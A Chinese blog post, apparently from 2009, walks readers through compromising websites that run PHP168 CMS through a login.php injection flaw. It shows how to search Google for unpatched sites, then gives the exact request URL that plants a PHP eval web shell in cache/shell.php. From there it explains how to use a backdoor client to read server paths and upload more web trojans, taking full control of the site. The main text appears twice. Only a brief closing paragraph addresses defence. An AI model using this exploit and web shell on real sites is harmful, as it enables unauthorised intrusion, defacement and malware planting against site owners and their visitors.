利用登陆文件注入漏洞给网页挂马
2009-11-02 09:30
597 查看
本文操作方法十分简单,按照操作提示一步步来就可以完成了。不少网站在后台登陆框输入‘or’'='代码就可以直接登陆网站后台,这种方式曾经是最流行入侵方式,而今天卢松松讲的是如何利用login后台登陆文件漏洞注入代码。
login.php(.asp/.aspx)文件一般都是作为CMS系统的管理员后台登陆文件,这里以PHP168CMS系统为例,login.php漏洞实际上的一个注入漏洞,是利用文件代码设计不良直接讲恶意代码直接上传到网站目录中。利用此漏洞可以进入网站,实行内容篡、网页挂马等手段。
第一步,寻找使用PHP168CMS的网站
在google中输入“poweredbyphp168”,然后随意找到一个网站作为测试,主要是寻找没有打补丁的网站。然后在域名后面输入,例:http://lusongsong.com/login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@eval($_POST[cmd]);?>如果出现了登陆界面就表明漏洞被成功利用。(文中的入侵域名请换成搜索的网站域名)
第二步,读取网站目录,获取网站绝对路径
如果代码成功执行,木马就会保存在cache\shell.php文件中,然后下载一个“lanker微型PHP后门客户端”,在木马地址栏输入http://lusongsong.com/cache/shell.php,然后选择读取目录,如果连接成功就能显示出网站所在服务器中的绝对路径。
第三步,开始上传PHP网页木马
在lanker微型PHP后门的基本功能列表中选择上传网页木马,上传的文件会保存在cache目录中。在域名的后面输入“cache/网站木马文件名”就可以运行木马了,至此已经对使用PHP168CMS系统的网站获得了控制权,可以任意的修改和删除。
其实存在login注入漏洞的不止PHP168一家,还有很多不知名的PHP网站源码都有这个漏洞,如果你使用的是PHP系统,请赶快检测你的程序是否有这个问题吧。对于PHP语言不了解的站长可以利用PHP注入漏洞扫描工具对你的网站进行扫描,例如:CASI、PHP-Mysql注入分析器、ZBSI等工具。更详细方法可以google一下:“如何预防和检测网页挂马”。或者查看我写过的关于网站挂马文章。
login.php(.asp/.aspx)文件一般都是作为CMS系统的管理员后台登陆文件,这里以PHP168CMS系统为例,login.php漏洞实际上的一个注入漏洞,是利用文件代码设计不良直接讲恶意代码直接上传到网站目录中。利用此漏洞可以进入网站,实行内容篡、网页挂马等手段。
第一步,寻找使用PHP168CMS的网站
在google中输入“poweredbyphp168”,然后随意找到一个网站作为测试,主要是寻找没有打补丁的网站。然后在域名后面输入,例:http://lusongsong.com/login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@eval($_POST[cmd]);?>如果出现了登陆界面就表明漏洞被成功利用。(文中的入侵域名请换成搜索的网站域名)
第二步,读取网站目录,获取网站绝对路径
如果代码成功执行,木马就会保存在cache\shell.php文件中,然后下载一个“lanker微型PHP后门客户端”,在木马地址栏输入http://lusongsong.com/cache/shell.php,然后选择读取目录,如果连接成功就能显示出网站所在服务器中的绝对路径。
第三步,开始上传PHP网页木马
在lanker微型PHP后门的基本功能列表中选择上传网页木马,上传的文件会保存在cache目录中。在域名的后面输入“cache/网站木马文件名”就可以运行木马了,至此已经对使用PHP168CMS系统的网站获得了控制权,可以任意的修改和删除。
其实存在login注入漏洞的不止PHP168一家,还有很多不知名的PHP网站源码都有这个漏洞,如果你使用的是PHP系统,请赶快检测你的程序是否有这个问题吧。对于PHP语言不了解的站长可以利用PHP注入漏洞扫描工具对你的网站进行扫描,例如:CASI、PHP-Mysql注入分析器、ZBSI等工具。更详细方法可以google一下:“如何预防和检测网页挂马”。或者查看我写过的关于网站挂马文章。
相关文章推荐
- 利用登陆文件注入漏洞给网页挂马
- htaccess文件解析漏洞和利用Tamper绕过防注入代码
- 利用XSS注入漏洞能对网站做什么
- asp.net 需要登陆的网站上下载网页源代码和文件
- 虚拟化--003 VCAC 网页登陆不了VCAC 可能是host文件要修改
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞利用
- 针式PKM中级应用-利用多文件关联收集网页和网页中包含的附件
- xml学习(三)---利用xml文件实现数据岛功能(网页显示xml文件中的内容免C#代码操作xml文件)
- Spring中利用AOP对领域对象(非依赖注入的对象,如new操作符、反射的方式生存的对象)下面是spring配置文件的一部分 <context:load-time-weaver /> <be
- 利用XSS注入漏洞能对网站做什么
- 第四章:iOS应用漏洞利用 ——4.25 代码注入和DYLD_INSERT_LIBRARIES
- 动网8.0sql最新注入漏洞+利用工具
- 『原创』PHP168 0Day 文件代码泄露漏洞利用工具
- 利用XSS注入漏洞能对网站做什么
- PHP文件包含漏洞原理分析和利用方法
- dedecms tag.php注入漏洞分析与利用工具
- 利用替换SAM文件的方式破解XP登陆密码,解决无法登陆系统的问题
- cyask的一个本地读文件的漏洞利用